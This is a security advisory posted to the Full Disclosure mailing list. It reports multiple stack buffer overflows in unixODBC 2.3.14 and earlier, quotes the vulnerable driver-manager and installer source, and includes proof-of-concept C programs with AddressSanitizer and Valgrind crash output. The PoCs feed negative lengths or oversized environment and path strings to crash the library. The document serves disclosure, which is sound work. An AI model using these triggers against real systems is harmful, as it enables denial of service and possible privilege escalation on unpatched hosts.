[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[FD] unixODBC <=2.3.14 Multiple Stack Buffer Overflows
- To: "fulldisclosure@xxxxxxxxxxxx" <fulldisclosure@xxxxxxxxxxxx>
- Subject: [FD] unixODBC <=2.3.14 Multiple Stack Buffer Overflows
- From: Daniel Owens via Fulldisclosure <fulldisclosure@xxxxxxxxxxxx>
- Date: Fri, 6 Nov 2026 00:57:58 +0000
unixODBC versions 2.3.14 and below contain multiple stack buffer overflows,
including arbitrarily large and off-by-one stack overflows. Attackers who can
influence various arguments passed thereto can trigger the stack-based buffer
overflows inside of the unixODBC driver manager itself, potentially corrupting
return addresses, overwriting the stack with arbitrary byes (leading to
arbitrary code execution, crashes, etc.), and other such things. Given the
number found and that, in truth, heap and stack buffer overflows identical
coding constructs and paradigms in C/C++ , we will only show a few -- the rest
can be obtained therefrom, treating these as templates for finding the other
instances.
Examples
From Signing Problems to Overflows
The following example involves unvalidated negative `buffer_length` values
being used in `SQLGetDiagRec` and `SQLGetDiagRecW` for `memcpy` and `strcpy`
calls -- the former causing an integer wrap-around of the negative value in a
heap-based overflow, with the latter triggering an unbounded stack overflow.
As every ODBC-consuming process that retrieves diagnostics shares this single
code path -- including connection-pooling middleware and multi-tenant database
gateways that keep Driver Manager handles alive across requests from different
callers -- a single malformed `buffer_length` value is sufficient to crash or
corrupt the memory of any process using the library regardless of the driver or
data source configured.
```c
static SQLRETURN extract_sql_error_rec( EHEAD *head,
SQLCHAR *sqlstate,
SQLINTEGER rec_number,
SQLINTEGER *native_error,
SQLCHAR *message_text,
SQLSMALLINT buffer_length,
SQLSMALLINT *text_length )
{
SQLRETURN ret;
if ( sqlstate )
strcpy((char*) sqlstate, "00000" );
if ( rec_number <= head -> sql_diag_head.internal_count )
{
ERROR *ptr;
SQLCHAR *as1 = NULL;
ptr = head -> sql_diag_head.internal_list_head;
while( rec_number > 1 )
{
ptr = ptr -> next;
rec_number --;
}
if ( !ptr )
{
return SQL_NO_DATA;
}
as1 = (SQLCHAR*) unicode_to_ansi_alloc( ptr -> msg, SQL_NTS,
__get_connection( head ), NULL );
if ( sqlstate )
{
unicode_to_ansi_copy((char*) sqlstate, 6, ptr -> sqlstate, SQL_NTS,
__get_connection( head ), NULL );
}
if ( buffer_length < strlen((char*) as1 ) + 1 )
{
ret = SQL_SUCCESS_WITH_INFO;
}
else
{
ret = SQL_SUCCESS;
}
if ( message_text && as1 )
{
if ( ret == SQL_SUCCESS )
{
strcpy((char*) message_text, (char*) as1 );
}
else
{
memcpy( message_text, as1, buffer_length );
message_text[ buffer_length - 1 ] = '\0';
}
}
```
Code snippet from `unixODBC`'s DriverManager/SQLGetDiagRec.c, lines 299-355
```c
static SQLRETURN extract_sql_error_rec_w( EHEAD *head,
SQLWCHAR *sqlstate,
SQLINTEGER rec_number,
SQLINTEGER *native_error,
SQLWCHAR *message_text,
SQLSMALLINT buffer_length,
SQLSMALLINT *text_length )
{
SQLRETURN ret;
if ( sqlstate )
{
SQLWCHAR *tmp;
tmp = ansi_to_unicode_alloc((SQLCHAR*) "00000", SQL_NTS,
__get_connection( head ), NULL );
wide_strcpy( sqlstate, tmp );
free( tmp );
}
if ( rec_number <= head -> sql_diag_head.internal_count )
{
ERROR *ptr;
ptr = head -> sql_diag_head.internal_list_head;
while( rec_number > 1 )
{
ptr = ptr -> next;
rec_number --;
}
if ( !ptr )
{
return SQL_NO_DATA;
}
if ( sqlstate )
{
wide_strcpy( sqlstate, ptr -> sqlstate );
}
if ( buffer_length < wide_strlen( ptr -> msg ) + 1 )
{
ret = SQL_SUCCESS_WITH_INFO;
}
else
{
ret = SQL_SUCCESS;
}
if ( message_text )
{
if ( ret == SQL_SUCCESS )
{
wide_strcpy( message_text, ptr -> msg );
}
else
{
memcpy( message_text, ptr -> msg, buffer_length * sizeof(
SQLWCHAR ) );
message_text[ buffer_length - 1 ] = '\0';
}
}
```
Snippet from `unixODBC`'s DriverManager/SQLGetDiagRecW.c, lines 186-245
```text
SQLSetEnvAttr returned: -1
==1303361==ERROR: AddressSanitizer: negative-size-param: (size=-2)
#0 ... __asan_memcpy
#1 ... extract_sql_error_rec_w SQLGetDiagRecW.c:244:17
#2 ... SQLGetDiagRecW SQLGetDiagRecW.c:550:11
#3 ... main reprow.c:28:10
SUMMARY: AddressSanitizer: negative-size-param ... in __asan_memcpy
==1303361==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRecW()`
```text
SQLSetEnvAttr returned: -1
==1302781==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7f9282e00050 ...
WRITE of size 62 at 0x7f9282e00050 thread T0
#0 ... strcpy
#1 ... extract_sql_error_rec SQLGetDiagRec.c:350:17
#2 ... SQLGetDiagRec SQLGetDiagRec.c:696:11
#3 ... main repro.c:25:10
[32, 40) 'henv' (line 7)
[64, 80) 'msg' (line 9) <== Memory access at offset 80 overflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow ... in strcpy
==1302781==ABORTING
```
Output from AddressSanitizer, `SQLGetDiagRec()`
```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>
int main(void)
{
SQLHENV henv = NULL;
SQLRETURN rc;
SQLCHAR msg[16];
SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
printf("SQLSetEnvAttr returned: %d\n", rc);
fflush(stdout);
rc = SQLGetDiagRec(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
msg, (SQLSMALLINT)-1, NULL);
printf("unexpectedly returned: %d\n", rc); /* never reached */
return 0;
}
```
Sample code to cause the overflow in the ANSI path
```c
#include <sql.h>
#include <sqlext.h>
#include <stdio.h>
int main(void)
{
SQLHENV henv = NULL;
SQLRETURN rc;
SQLWCHAR msg[16];
SQLAllocHandle(SQL_HANDLE_ENV, NULL, &henv);
rc = SQLSetEnvAttr(henv, (SQLINTEGER)123456, (SQLPOINTER)(SQLLEN)1, 0);
printf("SQLSetEnvAttr returned: %d\n", rc);
fflush(stdout);
rc = SQLGetDiagRecW(SQL_HANDLE_ENV, henv, 1, NULL, NULL,
msg, (SQLSMALLINT)-1, NULL);
printf("unexpectedly returned: %d\n", rc); /* never reached */
return 0;
}
```
Sample code to cause the overflow in the wide-character path
Unbounded `sprintf()` of `ODBCINSTUI` in `_getUIPluginName`
When the caller-supplied `pszUI` is empty -- a common usage -- the
`_getUIPluginName(char *pszName, char *pszUI)` method resolves the file name of
the Open Database Connectivity (ODBC) installer user interface (UI) plugin by
reading the `ODBCINSTUI` environment variable (`getenv("ODBCINSTUI")`) and
copies the value thereof into the caller's buffer with `sprintf(pszName,
"lib%s", pEnvVar);`. This process is performed without any verification
against the buffer's `FILENAME_MAX` capacity versus the value from the
environment variable, so when `SQLManageDataSources()` passes its local `char
szName[FILENAME_MAX]` to `_getUIPluginName`, an `ODBCINSTUI` value longer than
`FILENAME_MAX - 3` bytes overflows that stack buffer with attacker-chosen
content.
Keeping in mind that this is merely an example of a repeated design pattern
within the code, rather than simply taking it for the single instance, the
likelihood and impact of this specific instance is moot -- it merely serves to
demonstrate the pattern. With that said, as this is a desktop ODBC
administration tool, there are two major use cases in play here. First, it is
run by the same user who controls their own shell, making the practical effect
a rather mundane self-inflicted crash or local denial of service. It is,
however, the second use case that is more interesting: for any setuid or
otherwise privileged helper, or any service (e.g., a Common Gateway Interface
(CGI) script or a `sudo` wrapper) that invokes the installer API while
inheriting an untrusted caller's environment, the `ODBCINSTUI` environment
variable becomes a cross-privilege-boundary stack-smashing vector. The same
unbounded-`sprintf()` pattern also exists for the caller-supplied `szUI` value
and for the valu
e read from `odbcinst.ini`, so any affected deployment is exposed through more
than one input path, not simply the environment variable.
```c
/*!
* \brief UI to manage most ODBC system information.
*
* This calls into the UI plugin library to do our work for us. The
caller can provide
* the name (base name) of the library or let us determine which
library to use.
* See \sa _getUIPluginName for details on how the choice is made.
*
* \param hWnd Input. Parent window handle. This is HWND as per the ODBC
* specification but in unixODBC we use a generic window
* handle. Caller must cast a HODBCINSTWND to HWND at call.
*
* \return BOOL
*
* \sa ODBCINSTWND
*/
BOOL SQLManageDataSources( HWND hWnd )
{
HODBCINSTWND hODBCInstWnd = (HODBCINSTWND)hWnd;
char szName[FILENAME_MAX];
char szNameAndExtension[FILENAME_MAX];
char szPathAndName[FILENAME_MAX];
void * hDLL;
BOOL (*pSQLManageDataSources)(HWND);
inst_logClear();
/* ODBC specification states that hWnd is mandatory. */
if ( !hWnd )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL,
ODBC_ERROR_INVALID_HWND, "No hWnd" );
return FALSE;
}
/* initialize libtool */
if ( lt_dlinit() )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL,
ODBC_ERROR_GENERAL_ERR, "lt_dlinit() failed" );
return FALSE;
}
#ifdef MODULEDIR
lt_dlsetsearchpath(MODULEDIR);
#endif
/* get plugin name */
_appendUIPluginExtension( szNameAndExtension, _getUIPluginName( szName,
hODBCInstWnd->szUI ) );
```
Snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 112-156
```c
/*!
* \brief Get the short name of the UI plugin.
*
* The short name is the file name without path or file extension.
*
* We silently prepend "lib" here as well.
*
* \param pszName Place to put short name. Should be FILENAME_MAX bytes.
* \param pszUI Our generic window handle.
*
* \return char* pszName returned for convenience.
*/
char *_getUIPluginName( char *pszName, char *pszUI )
{
*pszName = '\0';
/* is it being provided by caller? */
if ( pszUI && *pszUI )
{
sprintf( pszName, "lib%s", pszUI );
return pszName;
}
/* is it being provided by env var? */
{
char *pEnvVar = getenv( "ODBCINSTUI" );
if ( pEnvVar )
{
sprintf( pszName, "lib%s", pEnvVar );
return pszName;
}
}
/* is it being provided by odbcinst.ini? */
{
char sz[FILENAME_MAX];
*sz='\0';
SQLGetPrivateProfileString( "ODBC", "ODBCINSTUI", "", sz, FILENAME_MAX,
"odbcinst.ini" );
if ( *sz )
{
sprintf( pszName, "lib%s", sz );
return pszName;
}
}
/* default to qt4 */
strcpy( pszName, ODBCINSTPLUGIN );
return pszName;
}
```
Code snippet from `unixODBC`'s odbcinst/SQLManageDataSources.c, lines 20-69
```text
[poc] about to call SQLManageDataSources with ODBCINSTUI len=8000
=================================================================
==1300531==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7fd681d01020 at pc 0x000000440c13 bp 0x7ffe824f4ba0 sp 0x7ffe824f4340
WRITE of size 8004 at 0x7fd681d01020 thread T0
#0 0x440c12 in __interceptor_vsprintf
#1 0x441c07 in sprintf
#2 0x7fd6837f9c64 in _getUIPluginName odbcinst/SQLManageDataSources.c
#3 0x7fd6837f9ff6 in SQLManageDataSources
odbcinst/SQLManageDataSources.c:156:51
#4 0x4debbd in main repro.c:38:11
Address 0x7fd681d01020 is located in stack of thread T0 at offset 4128 in frame
#0 0x7fd6837f9e3f in SQLManageDataSources
odbcinst/SQLManageDataSources.c:128
This frame has 3 object(s):
[32, 4128) 'szName' (line 130)
[4256, 8352) 'szNameAndExtension' (line 131) <== Memory access at offset
4128 partially underflows this variable
[8480, 12576) 'szPathAndName' (line 132) <== Memory access at offset 4128
partially underflows this variable
SUMMARY: AddressSanitizer: stack-buffer-overflow in __interceptor_vsprintf
==1300531==ABORTING
```
Output from AddressSanitizer
following as `/tmp/repro.c`:
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinst.h>
int main(void)
{
size_t n = 8000; /* > FILENAME_MAX (4096 on Linux) */
char *big = malloc(n + 1);
ODBCINSTWND wnd;
BOOL ret;
memset(big, 'B', n);
big[n] = '\0';
setenv("ODBCINSTUI", big, 1); /* attacker-controlled environment
variable */
memset(&wnd, 0, sizeof(wnd));
wnd.szUI[0] = '\0'; /* force the environment-variable lookup
path */
wnd.hWnd = NULL;
fprintf(stderr, "[poc] about to call SQLManageDataSources with ODBCINSTUI
len=%zu\n", n);
/* _getUIPluginName()'s szName[FILENAME_MAX] stack buffer (local to
* SQLManageDataSources) is overflowed by
* sprintf(pszName, "lib%s", pEnvVar). */
ret = SQLManageDataSources((HWND)&wnd);
fprintf(stderr, "[poc] SQLManageDataSources returned %d (should have
crashed before this if vulnerable)\n", ret);
free(big);
return 0;
}
```
Sample code to cause the overflow
Unbounded `strcpy` in SQLWritePrivateProfileString
This final example, from ` SQLWritePrivateProfileString(LPCSTR, LPCSTR, LPCSTR,
LPCSTR)`, takes the caller-supplied `pszFileName` and, without performing a
nullness or size check, performs a `strcpy` into the fixed-size stack buffer --
`szFileName`. While this example, again, merely provides a template from which
the others can be derived (simple searches for commonly misused, commonly
insecure calls and then a quick trace through the code generally suffices
across the codebase in question), it should be noted that
`SQLWritePrivateProfileString()` is one of the two entry points that every ODBC
driver, driver-manager wrapper, or administration tool links against to write
`odbc.ini`-style configurations, such that any multi-tenant or shared-host
deployment that lets a lower-privileged process or user influence the
destination filename inherits this risk without needing a working database
connection, DSN, or driver installation to trigger it.
```c
BOOL SQLWritePrivateProfileString(
LPCSTR pszSection,
LPCSTR pszEntry,
LPCSTR pszString,
LPCSTR
pszFileName )
{
HINI hIni;
char szFileName[ODBC_FILENAME_MAX+1];
inst_logClear();
/* SANITY CHECKS */
if ( pszSection == NULL )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL,
ODBC_ERROR_GENERAL_ERR, "" );
return FALSE;
}
if ( pszSection[0] == '\0' )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL,
ODBC_ERROR_GENERAL_ERR, "" );
return FALSE;
}
if ( pszFileName == NULL )
{
inst_logPushMsg( __FILE__, __FILE__, __LINE__, LOG_CRITICAL,
ODBC_ERROR_GENERAL_ERR, "" );
return FALSE;
}
/*****************************************************
* SOME MS CODE (ie some drivers) MAY USE THIS FUNCTION TO WRITE
ODBCINST INFO SO...
*****************************************************/
if ( strstr( pszFileName, "odbcinst" ) || strstr( pszFileName,
"ODBCINST" ) )
return _SQLWriteInstalledDrivers( pszSection,
pszEntry, pszString );
if ( pszFileName[0] == '/' )
{
strcpy( szFileName, pszFileName );
}
```
Sample code from `unixODBC`'s odbcinst/SQLWritePrivateProfileString.c, lines
18-55
```text
Calling SQLWritePrivateProfileString with path length 9001
==================================================================
==1300324==ERROR: AddressSanitizer: stack-buffer-overflow on address
0x7fdd0b601041 at pc 0x00000048d479 bp 0x7ffda24d9a70 sp 0x7ffda24d9238
WRITE of size 9002 at 0x7fdd0b601041 thread T0
#0 0x48d478 in strcpy (.../repro+0x48d478)
#1 0x7fdd0d209509 in SQLWritePrivateProfileString
odbcinst/SQLWritePrivateProfileString.c:54:3
#2 0x4deaf9 in main repro.c:22:11
...
Address 0x7fdd0b601041 is located in stack of thread T0 at offset 4161 in frame
#0 0x7fdd0d2092af in SQLWritePrivateProfileString
odbcinst/SQLWritePrivateProfileString.c:23
This frame has 2 object(s):
[32, 40) 'hIni' (line 24)
[64, 4161) 'szFileName' (line 25) <== Memory access at offset 4161
overflows this variable
...
SUMMARY: AddressSanitizer: stack-buffer-overflow (.../repro+0x48d478) in strcpy
==1300324==ABORTING
```
Output from AddressSanitizer
```text
==1300467== Invalid write of size 1
==1300467== at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300467== by 0x48650FF: SQLWritePrivateProfileString
(SQLWritePrivateProfileString.c:54)
==1300467== Address 0x1fff001000 is not stack'd, malloc'd or (recently) free'd
==1300467== Process terminating with default action of signal 11 (SIGSEGV)
==1300467== Access not within mapped region at address 0x1FFF001000
==1300467== at 0x484C75C: strcpy (vg_replace_strmem.c:553)
==1300467== by 0x48650FF: SQLWritePrivateProfileString
(SQLWritePrivateProfileString.c:54)
```
Output from Valgrind
```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <odbcinst.h>
int main(void)
{
size_t n = 9000; /* > ODBC_FILENAME_MAX (PATH_MAX == 4096 on
Linux) */
char *path = malloc(n + 2);
BOOL ret;
if (!path) { perror("malloc"); return 2; }
path[0] = '/';
memset(path + 1, 'A', n);
path[n + 1] = '\0';
fprintf(stderr, "Calling SQLWritePrivateProfileString with path length
%zu\n", strlen(path));
/* szFileName[ODBC_FILENAME_MAX+1] on the stack inside
* SQLWritePrivateProfileString() should be overflowed by this strcpy(). */
ret = SQLWritePrivateProfileString("Section", "Entry", "Value", path);
fprintf(stderr, "Returned: %d (if you see this, no crash occurred)\n", ret);
free(path);
return 0;
}
```
Sample code to demonstrate the overflow
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/